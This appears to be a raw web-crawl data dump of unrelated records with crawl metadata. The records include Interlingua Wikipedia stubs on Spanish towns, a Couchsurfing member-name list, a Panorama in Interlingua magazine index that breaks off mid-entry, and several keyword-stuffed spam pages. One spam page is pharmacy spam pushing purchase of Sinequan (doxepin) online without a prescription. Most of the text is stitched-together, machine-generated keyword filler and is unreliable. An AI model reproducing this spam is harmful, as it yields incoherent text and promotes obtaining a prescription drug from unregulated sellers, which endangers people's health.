firmeza colchon bultex compas with colchon bultex opiniones.\nexcellent canap abatible articulado vlinder de pardo with colchon bultex opiniones.\ncool colchones bultex precios colchones bultex precios colchn articulable bultex nobel colchn articulable with colchon bultex opiniones.\nalmohada moshy elite fibra with colchon bultex opiniones.\nbest colchon bultex opiniones nico konfort iv colchn protn de pikolin of colchon bultex opiniones encantador sleeprice with colchon bultex opiniones.\nexcellent colchon bultex opiniones las enorme los mejores colchones para dormir idea a familia casa with colchon bultex opiniones.\nfabulous new cual es el mejor material para colchones with colchon bultex opiniones.","id":"","dump":"CC-MAIN-2019-43","url":"http:\/\/stulovo.net\/colchon-bultex-opiniones.html","date":"2019-10-20T13:41:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986710773.68\/warc\/CC-MAIN-20191020132840-20191020160340-00478.warc.gz","language":"ina","language_score":0.3558715284,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3558715283870697, \"eng_Latn_score\": 0.29155105352401733, \"ile_Latn_score\": 0.048475444316864014, \"spa_Latn_score\": 0.03866351395845413, \"ben_Latn_score\": 0.027509698644280434, \"lat_Latn_score\": 0.02032233029603958, \"nld_Latn_score\": 0.019317148253321648, \"asm_Latn_score\": 0.019052544608712196, \"cbk_Latn_score\": 0.01685520075261593, \"swe_Latn_score\": 0.01492761168628931, \"ast_Latn_score\": 0.01412196271121502, \"lvs_Latn_score\": 0.011331192217767239, \"dan_Latn_score\": 0.01125690620392561, \"lit_Latn_score\": 0.010915948078036308}","num_words":3421,"character_repetition_ratio":0.386,"word_repetition_ratio":0.391,"special_characters_ratio":0.148,"stopwords_ratio":0.012,"flagged_words_ratio":0.0,"lang_id_score":0.357,"perplexity_score":11314.0,"cluster_detection":-1} +{"text":"Fresno de Río Tirón\n|Fresno de Río Tirón|\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Population||172|\n|Area||9,68 km²|\n|Situate in||Provincia de Burgos|\n|Altitude||703 ±1 m|\n|Coordinatas||42°27'36\"N, 3°10'29\"W|\n|Geonames ID||6356433|\n|Sito web: http:\/\/www.fresnoderiotiron.es\/|\n|Wikimedia Commons Category|\nFresno de Río Tirón\nFresno de Río Tirón es un municipalitate que se trova in le provincia de Burgos, in le communitate autonome de Castilia e Leon, Espania.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/ia.wikipedia.org\/wiki\/Fresno_de_R%C3%ADo_Tir%C3%B3n","date":"2023-03-20T10:25:10Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296943471.24\/warc\/CC-MAIN-20230320083513-20230320113513-00052.warc.gz","language":"ina","language_score":0.3409994841,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3409994840621948, \"glg_Latn_score\": 0.1484672725200653, \"sco_Latn_score\": 0.08401163667440414, \"vec_Latn_score\": 0.05912594497203827, \"arg_Latn_score\": 0.041257742792367935, \"lmo_Latn_score\": 0.03002842143177986, \"lij_Latn_score\": 0.02098781242966652, \"spa_Latn_score\": 0.01946950890123844, \"srd_Latn_score\": 0.014642083086073399, \"nov_Latn_score\": 0.01265725214034319, \"nap_Latn_score\": 0.010482997633516788}","num_words":121,"character_repetition_ratio":0.129,"word_repetition_ratio":0.17,"special_characters_ratio":0.306,"stopwords_ratio":0.058,"flagged_words_ratio":0.0,"lang_id_score":0.354,"perplexity_score":4251.8,"cluster_detection":-1} +{"text":"Member Directory: A B C D E F G H I J K L M N O P Q R S T U V W X Y Z other\n|Peter Hyde||Peter Ikeler|\n|Peter Hyde||Peter Ikle|\n|Peter Hyland||Peter Ikonomopoulos|\n|Peter Hyldahl||Peter Ilanovsky|\n|Peter Hýll||Peter Ilavsky|\n|Peter Hyllested||Peter Iliev|\n|Peter Hyndman||Peter Iliev|\n|Peter Hyoung||Peter Ilinov|\n|Peter Hyslop||Peter Illes|\n|Peter Hyun||Peter Illes|\n|Peter Hyungjin||Peter Illes|\n|Peter I||Peter Illés|\n|Peter I||Peter Illes|\n|Peter I AM||Peter Illes|\n|Peter I Lyndon-James||Peter Illhardt|\n|Peter Iablocichin||Peter Illhardt|\n|Peter Ian||Peter Illich|\n|Peter Ian Capocao||Peter Illig|\n|Peter Ian Deligero||Peter Illner|\n|Peter Ian Staker||Peter Illum|\n|Peter Iannacchione||Peter Ilmert|\n|Peter Ianos||Peter Im|\n|Peter iapozzuto||peter imade|\n|Peter Ibanez||Peter Imai|\n|Peter Ibos||Peter Imascono|\n|Peter Ibrahem||Peter Imbong|\n|Peter Ibrahim||Peter Imhof|\n|Peter Ibrahim||Peter Imhof|\n|Peter Ibrahim||Peter Imholz|\n|Peter Ibsen||Peter Immel|\n|peter Ide||Peter Immer|\n|Peter Idjedd||Peter Imoesi|\n|Peter Idziak||Peter Impeezee|\n|Peter Iets||Peter Imrich|\n|Peter Ifčič||Peter Imrich|\n|peter Ifederu||Peter Imrich|\n|Peter Igaz||peter in|\n|Peter Igel||Peter in Dallas|\n|Peter Igloi-Nagy||Peter in Sofia|\n|peter Ignacio||Peter Ince|\n|Peter Ignits||Peter Indri|\n|Peter Ihab||Peter Ing|\n|Peter Ihasz||Peter Ingelsson|\n|Peter Ihli||Peter Ingemann|\n|Peter Ihlo||peter ingeri|\n|Peter Ihlo||Peter Ingersoll|\n|Peter Ihnat||Peter Inglesby|\n|Peter Ihnat||Peter Ingman|\n|Peter Ihnat||Peter Ingraham|\n|Peter IJlst||Peter Ingram|","id":"","dump":"CC-MAIN-2017-17","url":"https:\/\/www.couchsurfing.com\/directory\/P-27-42","date":"2017-04-27T09:39:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-17\/segments\/1492917122041.70\/warc\/CC-MAIN-20170423031202-00382-ip-10-145-167-34.ec2.internal.warc.gz","language":"ina","language_score":0.5087197423,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.5087197422981262, \"som_Latn_score\": 0.07951352000236511, \"dag_Latn_score\": 0.06941141933202744, \"kal_Latn_score\": 0.04288167133927345, \"scn_Latn_score\": 0.027098359540104866, \"glg_Latn_score\": 0.016111046075820923, \"nob_Latn_score\": 0.014871648512780666}","num_words":514,"character_repetition_ratio":0.162,"word_repetition_ratio":0.036,"special_characters_ratio":0.253,"stopwords_ratio":0.018,"flagged_words_ratio":0.0,"lang_id_score":0.213,"perplexity_score":36907.6,"cluster_detection":-1} +{"text":"Valutazione 4.7 sulla base di 330 voti.\nPrezzo da €0.26 Per pillola\nIl costo di Sinequan Australia\nOrdine 10 mg Sinequan Tacchino\nacquisto Sinequan o Doxepin hydrochloride\nbasso costo Sinequan 10 mg Croazia\ngenerico do Sinequan bula\nSinequan generico ems preço\nSconto 10 mg Sinequan Giappone\nacquisto Sinequan line italia\nSinequan 10 mg precio en farmacias\nbasso costo Sinequan\nventa de Sinequan en farmacias ahumada\nAcquista Sinequan 10 mg Finlandia\n1666.vn\ncheap Antabuse\n1666.vn\nin linea 10 mg Sinequan USA\nconveniente 10 mg Sinequan Portogallo\nOrdine Sinequan Brasile\nel Sinequan se vende en farmacias\nSinequan 10 mg quanto costa in farmacia\nAcquistare 10 mg Sinequan Croazia\nbasso costo Sinequan 10 mg Stati Uniti\nA buon mercato 10 mg Sinequan Tacchino\nA buon mercato Sinequan Austria\npreço Sinequan generico brasil\nbasso costo Doxepin hydrochloride Polonia\nacquistare Sinequan online reato\ngenerico Doxepin hydrochloride Francia\nvendita Sinequan generico on.line\nSinequan generico acquisto on line\nSconto 10 mg Sinequan Giappone\nSinequan 10 mg acquisto line\nSconto Doxepin hydrochloride Norvegia\nSinequan en farmacias similares mexico\nAcquista Sinequan Doxepin hydrochloride Belgio\ndove acquistare Sinequan roma\nfoto do generico do Sinequan\ngenerico ou similar do Sinequan\nfarmacia venden Sinequan\ngaddafi gives Sinequan toy soldiers\nexiste el generico de Sinequan\nacquistare Sinequan generico farmacia\nPrezzo basso Sinequan Finlandia\ndove acquistare il Sinequan\nOrdine 10 mg Sinequan Austria\nIl costo di Doxepin hydrochloride Austria\nOrdine Sinequan Singapore\nAcquistare Doxepin hydrochloride Portogallo\nSinequan generico farmacia andorra\nSconto Sinequan 10 mg Grecia\nSinequan generico informazioni\ndove posso acquistare Sinequan senza ricetta\nSinequan farmacias guadalajara\nqual o remedio generico do Sinequan\nPrezzo Sinequan 10 mg Norvegia\nacquistare Sinequan senza carta di credito\nPrezzo Sinequan 10 mg Polonia\nPrezzo Sinequan Spagna\ngenerico Sinequan Doxepin hydrochloride Norvegia\nAcquistare Sinequan 10 mg Croazia\nconveniente Sinequan 10 mg Australia\nSconto Doxepin hydrochloride Regno Unito\ncos è Sinequan generico\nper acquistare Sinequan serve ricetta\nSinequan generico on line contrassegno\nfarmacias ahumada vende Sinequan\nAcquistare Sinequan Belgio\nprecio Sinequan 10 mg en farmacia\nPrezzo Sinequan 10 mg UK\nAcquista Sinequan Doxepin hydrochloride Australia\nA buon mercato Doxepin hydrochloride Italia\nquanto costa Sinequan farmacia italiana\nAcquistare Sinequan Regno Unito\nSconto 10 mg Sinequan Tacchino\nOrdine Sinequan Doxepin hydrochloride USA\nAcquista Doxepin hydrochloride Svizzera\ngenerico Sinequan Olanda\ngenerico Sinequan citrato sildenafila\ngenerico Sinequan Belgio\nbasso costo 10 mg Sinequan Israele\nOrdine 10 mg Sinequan Tacchino\nSinequan acquisto sicuro\nbasso costo Sinequan Tacchino\nSinequan farmacia chile\nSconto Sinequan Doxepin hydrochloride Spagna\nIl costo di Sinequan Olanda\nSconto Sinequan Doxepin hydrochloride Grecia\nbasso costo Sinequan Giappone\nAcquistare Sinequan 10 mg Regno Unito\nAcquista 10 mg Sinequan Spagna\nprezzo Sinequan originale in farmacia\nse necesita receta para comprar Sinequan farmacia\nAcquistare Sinequan 10 mg Olanda\nconveniente Sinequan Doxepin hydrochloride Svizzera\nbasso costo 10 mg Sinequan Belgio\nexiste Sinequan farmacias similares\nOrdine Sinequan Doxepin hydrochloride Norvegia\nAcquistare Sinequan Canada\nIl costo di Sinequan Singapore\nAcquista Doxepin hydrochloride UK\ncomprar Sinequan farmacia espaСЃola\nA buon mercato Sinequan Doxepin hydrochloride Repubblica Ceca\nIl costo di Sinequan Doxepin hydrochloride Regno Unito\nAcquista Sinequan Doxepin hydrochloride Portogallo\nSinequan generico faz mal\ngenerico Doxepin hydrochloride Israele\nbasso costo Sinequan Doxepin hydrochloride Portogallo\nSinequan generico prezzo\nAcquista Sinequan Doxepin hydrochloride Europa\ngenerico Sinequan tem mesmo efeito\njá existe Sinequan generico\nAcquistare Sinequan 10 mg Emirati Arabi Uniti\ncomprar Sinequan en farmacia – argentina\nSinequan generico precio\nin linea 10 mg Sinequan Inghilterra\nfarmacia online Sinequan generico\nqual e o nome do generico do Sinequan\nIl costo di Sinequan Israele\nprecio de la Sinequan en farmacia\ngenerico Sinequan Norvegia\ngenerico de Sinequan\nQuanto costa Doxepin hydrochloride Norvegia\nIl costo di Sinequan Inghilterra\nprecio Sinequan diario en farmacia\nconfezione Sinequan farmacia\ncomo comprar Sinequan en la farmacia\nin linea Doxepin hydrochloride Finlandia\nQuanto costa 10 mg Sinequan Spagna\nqual e o preço do Sinequan generico\nAcquistare Doxepin hydrochloride Spagna\nIl costo di Sinequan Doxepin hydrochloride Finlandia\nSinequan pvp farmacia\nAcquista 10 mg Sinequan Repubblica Ceca\ncomprar Sinequan en farmacia de andorra\nSinequan farmacias 10 mg\nlibyan soldiers with Sinequan\nconveniente Doxepin hydrochloride Francia\nSinequan generico italia farmacia\nSconto Sinequan Doxepin hydrochloride Finlandia\ngenerico do Sinequan da eurofarma\nSinequan vendita line italia\nPrezzo basso 10 mg Sinequan Europa\nSinequan generico illegale\ngenerico Sinequan funciona mesmo\nfarmacia line per Sinequan\nin linea Sinequan Australia\ncheap Diflucan\nbuy Albendazole\ncheap Cipro\nDove posso ottenere Atarax 10 mg in Newark, OH\nNZw8Zji","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/1666.vn\/farmacia-generico-doxepin-hydrochloride-10-mg-il-costo-di-in-cary-nc-consegna-in-tutto-il-mondo-3-7-giorni\/","date":"2020-02-21T11:31:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875145529.37\/warc\/CC-MAIN-20200221111140-20200221141140-00395.warc.gz","language":"ina","language_score":0.4004454017,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.4004454016685486, \"ita_Latn_score\": 0.10889631509780884, \"eus_Latn_score\": 0.06545937806367874, \"lat_Latn_score\": 0.0637001320719719, \"ile_Latn_score\": 0.041976895183324814, \"lij_Latn_score\": 0.03804278001189232, \"kiu_Latn_score\": 0.037012115120887756, \"mlt_Latn_score\": 0.02588086575269699, \"por_Latn_score\": 0.024773774668574333, \"vec_Latn_score\": 0.021825328469276428, \"scn_Latn_score\": 0.020217744633555412, \"nld_Latn_score\": 0.01825636439025402, \"slk_Latn_score\": 0.011329938657581806, \"srd_Latn_score\": 0.010512266308069229, \"nap_Latn_score\": 0.010159559547901154}","num_words":1529,"character_repetition_ratio":0.221,"word_repetition_ratio":0.072,"special_characters_ratio":0.156,"stopwords_ratio":0.022,"flagged_words_ratio":0.0,"lang_id_score":0.224,"perplexity_score":29036.1,"cluster_detection":-1} +{"text":"Beas de Guadix\n|Beas de Guadix|\n|Classe||municipalitates de Espania|\n|Pais||Espania|\n|Capital||Beas de Guadix[*]|\n|Population||319|\n|Area||16,24 km²|\n|Situate in||Provincia Granada|\n|Altitude||950 m|\n|Coordinatas||37°16'47\"N, 3°12'21\"W|\n|Fuso horari||UTC+01:00|\n|Geonames ID||6357660|\n|Wikimedia Commons Category|\nBeas de Guadix\nBeas de Guadix es un municipalitate que se trova in le provincia de Granada, Espania.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ia.wikipedia.org\/wiki\/Beas_de_Guadix","date":"2023-06-04T11:25:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224649741.26\/warc\/CC-MAIN-20230604093242-20230604123242-00555.warc.gz","language":"ina","language_score":0.3678630292,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3678630292415619, \"sco_Latn_score\": 0.13287897408008575, \"glg_Latn_score\": 0.0704442709684372, \"arg_Latn_score\": 0.0395471453666687, \"nrm_Latn_score\": 0.03612010180950165, \"vec_Latn_score\": 0.02337690442800522, \"nov_Latn_score\": 0.0191195085644722, \"lat_Latn_score\": 0.018123770132660866, \"oci_Latn_score\": 0.015869159251451492, \"ast_Latn_score\": 0.012512135319411755, \"atj_Latn_score\": 0.011815358884632587, \"srd_Latn_score\": 0.010878317058086395}","num_words":91,"character_repetition_ratio":0.106,"word_repetition_ratio":0.049,"special_characters_ratio":0.336,"stopwords_ratio":0.011,"flagged_words_ratio":0.0,"lang_id_score":0.316,"perplexity_score":10166.5,"cluster_detection":-1} +{"text":"site de rencontre en ligne Peter senior birthdate\nconsejos para la inseguridad de pareja Peter senior birthdate\npaginas para ligar gratis netflix Peter senior birthdate\nsingle side truck ladder racks Peter senior birthdate\nbuscar amigos por barcelona Peter senior birthdate\nonline dating tips conversation Peter senior birthdate\nconocer gente pamplona Peter senior birthdate\ngent com tu osona online Peter senior birthdate\nkontaktbörse ostwestfalen Peter senior birthdate\nsitios para buscar pareja zaragoza Peter senior birthdate\n. Peter senior birthdate\nfrases de tiempo nublado Peter senior birthdate\naction chat free Peter senior birthdate\nsite de mariage fiable Peter senior birthdate\ncontactos mojacar fiesta Peter senior birthdate\nPeter senior birthdate\nPeter senior birthdate\nPeter senior birthdate\nPeter senior birthdate\nuomini e donne karina e salvatore video mediaset Peter senior birthdate\nricerca persone francia Peter senior birthdate\nnextlove svindel xl Peter senior birthdate\nvoglio trovare un amore Peter senior birthdate\ndating stavanger restaurant Peter senior birthdate","id":"","dump":"CC-MAIN-2018-47","url":"http:\/\/agnbet.com\/174-peter-senior-birthdate.php","date":"2018-11-13T17:48:27Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-47\/segments\/1542039741340.11\/warc\/CC-MAIN-20181113173927-20181113195927-00076.warc.gz","language":"ina","language_score":0.7746695876,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.7746695876121521, \"eng_Latn_score\": 0.1126670092344284, \"ile_Latn_score\": 0.027682948857545853}","num_words":304,"character_repetition_ratio":0.373,"word_repetition_ratio":0.064,"special_characters_ratio":0.14,"stopwords_ratio":0.033,"flagged_words_ratio":0.0,"lang_id_score":0.521,"perplexity_score":22042.0,"cluster_detection":-1} +{"text":"juegos de mario bros vs sonic\nJuegos de Mario bros: Free Super Mario Brosjuegos de mario bros vs sonic\nJump Mariojuegos de mario bros vs sonic\nJuegos de Mario Bros: Mario Hoodjuegos de mario bros vs sonic\nJuegos de Mario Bros: Super Mario Waterjuegos de mario bros vs sonic\nJuegos de Mario Bros: Super Mario Remixjuegos de mario bros vs sonic\nSuper Mario Bros: Star Scramblejuegos de mario bros vs sonic\nJuegos de Mario Bros: Luigi Drivejuegos de mario bros vs sonic\nSuper Mario bros star scramble 2juegos de mario bros vs sonic\nSuper Mario Motojuegos de mario bros vs sonic\nYokojuegos de mario bros vs sonic\nSuper Mario Escene worldjuegos de mario bros vs sonic\nHongos en líneajuegos de mario bros vs sonic\nSuper Mario Motojuegos de mario bros vs sonic\nJuegos de Mario Bros: Super Mario 63juegos de mario bros vs sonic\nSuper Mario Bros Crossoverjuegos de mario bros vs sonic\nJuegos de Mario Bros: Mario Breakoutjuegos de mario bros vs sonic\nThe Adventure of Super Mario Landjuegos de mario bros vs sonic\nMario Flat Screenjuegos de mario bros vs sonic\nMario Superjuegos de mario bros vs sonic\nSuper Mario Bros 2: Star Scramble, Ghost Islandjuegos de mario bros vs sonic\nSuper Mario 63juegos de mario bros vs sonic\nMario Racing Tournamentjuegos de mario bros vs sonic\nJuegos de Mario bros: Mario Shotgun 2juegos de mario bros vs sonic\nSuper Mario Space invadersjuegos de mario bros vs sonic\nSuper Mario Coin Catcherjuegos de mario bros vs sonic\nMario Super Smashjuegos de mario bros vs sonic\nJuegos de Mario Bros: Cute Mario Drivingjuegos de mario bros vs sonic\nSuper Mario Flash 3juegos de mario bros vs sonic\nJuegos de Mario Bros: Super Flashjuegos de mario bros vs sonic\nMario Kartjuegos de mario bros vs sonic\nJuegos de Mario Bros: Mario Adventuresjuegos de mario bros vs sonic\nSuper Mario World Flash 2juegos de mario bros vs sonic","id":"","dump":"CC-MAIN-2020-34","url":"https:\/\/juegosdemariobros.net\/sonic\/","date":"2020-08-05T21:43:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-34\/segments\/1596439735989.10\/warc\/CC-MAIN-20200805212258-20200806002258-00053.warc.gz","language":"ina","language_score":0.3575284779,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3575284779071808, \"spa_Latn_score\": 0.34252703189849854, \"alz_Latn_score\": 0.033174172043800354, \"ido_Latn_score\": 0.02543966844677925, \"srd_Latn_score\": 0.023704538121819496, \"glg_Latn_score\": 0.01694241166114807, \"gug_Latn_score\": 0.013202637434005737, \"yua_Latn_score\": 0.011742825619876385, \"hus_Latn_score\": 0.011394710280001163, \"oci_Latn_score\": 0.011328231543302536, \"arg_Latn_score\": 0.010384207591414452}","num_words":631,"character_repetition_ratio":0.415,"word_repetition_ratio":0.421,"special_characters_ratio":0.185,"stopwords_ratio":0.082,"flagged_words_ratio":0.0,"lang_id_score":0.481,"perplexity_score":6968.2,"cluster_detection":-1} +{"text":"Iste indice monstra le contento del magazin Panorama in interlingua (ISSN 0903-2932) edition post edition. Columna 1 es le pagina, columna 2 le rubrica del articul(ett)o, columna 3 le subrubrica eventual, columna 4 le autor\/marca, columna 5 le typo de articulo.\n\n\nNo. 1\/2019, januario-februario\n|1||Precios reducite al conferentia ante julio||Inscribe te ora pro le 23e conferentia international de interlingua in Praga in septembre e obtene un disconto – o annuncia te pro un stipendio.||Copertura|\n|1||Macedonia del Nord es ora official||Cambio de nomine aperi portas.||Copertura|\n|1||Battalia belgic||Copertura|\n|1||Tres paginas con novas de interlingua||Novas e notitias actual.||Copertura|\n|1||Rana de Mark Twain||Copertura|\n|1||Experientia atlantic in Madeira||Panorama visita le insula||Copertura|\n|1||Le sol successo||Copertura|\n|2+3||Soror succede soror como presidente del UMI||Madeleine Mahé es le nove presidente del Union Mundial pro Interlingua ab le 1 de januario 2019.||Novas de interlingua|\n|2+3||Un littera del presidente: Un anno toto nove||Mahé, Madeleine||Novas de interlingua|\n|4||Benvenite, seniora presidente, nos es preste!||Breinstrup, Thomas||Editorial|\n|4||Colophon||Interlingua|\n|5||Inscribe te pro le conferentia in Praga||Reduction del precios ante le 30 de junio. UMI es preste con stipendios.||Breinstrup, Thomas||Conferentia de interlingua|\n|6||Touristas debe reservar Venetia||Th.||Nota|\n|6||Ecclesias citate pro nazismo||Th.||Nota|\n|6||Google debe remover demandas||Th.||Nota|\n|6||Familia de Franco debe decider||Th.||Nota|\n|6||Europa prohibi plastico in multe productos||Le consumption de productos de singule uso facite de plastico debe esser grandemente reducite.||Th.||Nova|\n|7||Macedonia del Nord es ora official||Decision parlamentari in Grecia aperi le porta del stato balkanic verso OTAN e le Union Europee.||Breinstrup, Thomas||Nova|\n|8||Belgicos: Absurde grammatica francese es passé||Duo belgicos francophone ha facite furur in Francia post haber proponite cambios al grammatica francese a causa de un regule que illes appella \"absurde\" e impossibile a usar correctemente.||Breinstrup, Thomas||Nova|\n|9||Muro de Berlin veni sub protection||Le famose Galeria del Latere Est ha essite salvate ab investores.||Breinstrup, Thomas||Nova|\n|9||Practica interlingua||Annuncio|\n|10||Informar le membros del nove Parlamento Europee – nostre carga le plus urgente in 2019||Annuncio|\n|11||Ma certo isto significa ... eh?!?||Breinstrup, Thomas||Le parolas del mense|\n|12||2019 positive pro interlingua||Novas de interlingua|\n|12||Digitalisation de magazin continua||Novas de interlingua|\n|12||14 annos de Panorama registrate||Novas de interlingua|\n|12||Plus de merces in interlingua||Novas de interlingua|\n|12||Actualisate corrector de interlingua||Novas de interlingua|\n|13||Grande articulo super interlingua||Novas de interlingua|\n|13||Incontro sudamerican planificate||Novas de interlingua|\n|13||Interlingua tosto supportate||Novas de interlingua|\n|13||Poesia cosmic e tempore liquide||Novas de interlingua|\n|13||Bibliotheca de Toronto ben equipate||Novas de interlingua|\n|13||Como esserea habitar sur Marte?||Novas de interlingua|\n|14||Interlingua pro hispanophonos||Novas de interlingua|\n|14||Contos classic in interlingua||Novas de interlingua|\n|14||Nove novella satiric in interlingua||Novas de interlingua|\n|14||Incontros de interlingua in Montréal||Novas de interlingua|\n|15||Ljusterdal ha morite||Le satirico e supportator de interlingua habeva 87 annos.||Breinstrup, Thomas||Necrologia|\n|16||Grauite mini-dictionario german||Daniel Weingärtner: \"Mini-Wörterbuch Interlingua-Deutsch\"||Th.||Libros|\n|16||Interlingua per le methodo natural||Carlos Henrique Vilas Boas: \"Interlingua pro omnes\"||Th.||Libros|\n|16||\"Le Proverbios\" re-publicate||\"Le Proverbios\", trad.: Simon W. Buckhalter||Th.||Libros|\n|17||Dictionario suppletive plus grande||Thomas Breinstrup e Italo Notarstefano: \"Interlingua – dictionario suppletive\"||Libros|\n|17||Publicationes in interlingua||Libros|\n|17||Practica interlingua||Annuncio|\n|17||Recipe Panorama digital!||Annuncio|\n|18||Un del plus grande organismos diminue||47.000 arbores ancian es in periculo malgrado multe effortios, monstra photos aeree.||Breinstrup, Thomas||Scientia|\n|18||Perdite citate troian trovate||Nota|\n|19||Mumias de cattos trovate in tumbas||Archeologos in Egypto ha trovate mumificate cattos e scrabeos.||Th.||Scientia|\n|19||Rudolf Hess esseva genuin||Th.||Nota|\n|19||Mozambique aperi longe ponte||Th.||Nota|\n|19||Immigrantes augmenta Espania||Th.||Nota|\n|20+21||Duo septimanas in Madeira||Panorama explorava le insula atlantic – anque ubi poc touristas veni.||Pontnau, Robert||Viages|\n|22+23||Le famose rana saltante de Calaveras||Traduction in interlingua: Italo Notarstefano||Twain, Mark||Litteratura|\n|24||Perla historic vendite in auction||Th.||Le mundo actual|\n|24||Duo ursos polar in zoo||Th.||Le mundo actual|\n|24||Turre deveni minus oblique||Th.||Le mundo actual|\n|24||Chocolate costose non optime||Th.||Le mundo actual|\n|25||Francia le pejor a anglese||Th.||Le mundo actual|\n|25||Homine non 20 annos plus juvene||Th.||Le mundo actual|\n|25||Marca de digito de da Vinci exponite||Th.||Le mundo actual|\n|25||Merkel claude su Facebook||Th.||Le mundo actual|\n|26||\"Le meravilia de un sol successo\"||Platter, Kenneth||Chronica|\n|27||Union Mundial pro Interlingua – representantes de interlingua||Interlingua|\n|28||Frank Peter Gopsill||Novas de nomines|\n|28||Carlos Eduardo de Paula||Novas de nomines|\n|28||Rodrigo Mallmann Guerra||Novas de nomines|\n|28||Que es interlingua? Como contribuer||Interlingua|\n\n\nNo. 2\/2019, martio-april\n|1||14 linguas extra vive in 2019||Le numero de linguas vivente in le mundo ha montate con 14 durante le passate anno, ma plus que 500 del 7.111 linguas parlate e scribite ancora es in periculo de perir, proque illos quasi non plus es usate.||Copertura|\n|1||Incendio de Notre-Dame||Le narration per Victor Hugo super le campanero gibbose Quasimodo plena le medietate del lista popular del vendita de libros in Francia. Lege le initio in interlingua.||Copertura|\n|1||Practica interlingua via le app Telegram||Ecce un guida pro comenciar.||Copertura|\n|1||Duo facile a leger||Copertura|\n|1||Inscribe te pro Praga||Copertura|\n|1||Reserva pro parolas menaciate crea uso||Museo salva parolas rar.||Copertura|\n|1||Mysterios scribite||Copertura|\n|2+3||14 linguas extra vive in 2019||Le catalogo forsan le plus comprehensive del linguas del mundo monstra un augmentation del numero de linguas.||Nova|\n|3||Le grande linguas||Breinstrup, Thomas||Factos|\n|4||Io, le reclamo ambulante de interlingua||Breinstrup, Thomas||Editorial|\n|5||Invitation a Praga: Inscribe te!||Conferentia de interlingua|\n|6+7||Incendio de Notre-Dame face roman superpopular||Le narration per Victor Hugo super le campanero gibbose Quasimodo plena le medietate del lista popular del vendita de libros in Francia.||Breinstrup, Thomas||Nova|\n|7||Le Campanero de Notre Dame||Hugo, Victor||Litteratura|\n|8||No al Jocos Olympic ab Calgary||Th.||Nota|\n|8||Feminas entra con gambon||Th.||Nota|\n|8||Suissa le optime pais||Th.||Nota|\n|8||Adeo al hora estive dura longe tempore||In junio le 28 paises del Union Europee decide que facer quando le UE non ha un commun hora estive.||Breinstrup, Thomas||Nova|\n|9||Paises nordic adde duo linguas official||Le organisation de collaboration nordic addera finnese e islandese al linguas official in un medie anno.||Breinstrup, Thomas||Nova|\n|10||Enigma del grande pyramide solvite||Archeologos ha trovate un rampa usate pro mover le enorme blocos de petra.||Breinstrup, Thomas||Nova|\n|11||Le arte del labor manual||Tricotar e crochetar||Breinstrup, Thomas||Le parolas del mense|\n|12+13||Practica Interlingua in Telegram||Participa e practica interlingua per medio de un app in collaboration con usatores in tote le mundo. Ecce un guida pro comenciar ben.||Med, Jacobo||Novas de interlingua|\n|13||Origine del megalithos trovate||Th.||Nota|\n|14||Le majoritate comprende interlingua||Novas de interlingua|\n|14||Reserva de parolas e artista famose||Novas de interlingua|\n|14||Plus de magazines digital||Novas de interlingua|\n|14||Catalogo brasilian de interlingua||Novas de interlingua|\n|15||Biblia in interlingua reorganisate||Novas de interlingua|\n|15||Reunion brasilian in julio||Novas de interlingua|\n|15||Libro classic re-publicate||Novas de interlingua|\n|15||Poesia: New York e fenestras||Novas de interlingua|\n|15||Correction||Red.||Novas de interlingua|\n|16||Duo nove libros facile a leger||Italo Notarstefano (red.): \"Facile contos 1 – contos del humor\" + \"Facile contos 2 – contos del mysterio\"||Th.||Libros|\n|17||Nove anecdotas super le stellas||Toma Macovei: \"Ab le auro spiritual del scena e del schermo II\"||Th.||Libros|\n|17||Publicationes in interlingua||Libros|\n|17||Recipe Panorama digital!||Annuncio|\n|18||Vallo de Harald Dente-blau reerigite||In 2022 un quarto del vallo circular del rege danese habera le aspecto original gratias a un donation.||Th.||Scientia|\n|19||Nove record pro gorillas de montania||Plus que 1.000 gorillas de montania vive hodie in le mundo.||Th.||Scientia|\n|19||Aves migratori abbrevia viages||Th.||Nota|\n|19||Calor facera le terra plus blau||Th.||Nota|\n|20||Capital kazakh cambia nomine||Th.||Nota|\n|20||Plus de touristas in Germania||Th.||Nota|\n|20||Compra un village||Th.||Viages|\n|21||Reserva pro parolas menaciate crea uso||Initiativa extraordinari de museo debe salvar parolas minus usar in danese.||Breinstrup, Thomas||Viages|\n|22||Contos||Traduction in interlingua: Italo Notarstefano||Charms, Daniil||Litteratura|\n|23||Un telegramma||Traduction in interlingua: Eva Hajkova||Bass, Eduard||Litteratura|\n|23||Ama tu litteratura?||\"Mini-anthologia in interlingua\" 1-3||Annuncio|\n|24||Asteriscos debe neutralisar parolas||Th.||Le mundo actual|\n|24||Cessa photographiar in Paris!||Th.||Le mundo actual|\n|24||11 nove insulas in Danmark||Th.||Le mundo actual|\n|24||116 annos e le plus vetere||Th.||Le mundo actual|\n|24||Francia sempre minus fertile||Th.||Le mundo actual|\n|25||Supportatores in le mal Frankfurt||Th.||Le mundo actual|\n|25||Gibraltar in disputa de Brexit||Th.||Le mundo actual|\n|25||Palatio de Nero reaperi||Th.||Le mundo actual|\n|25||Duo mio. bottilias destruite||Th.||Le mundo actual|\n|25||Socialistas vole prohibir prostitution||Th.||Le mundo 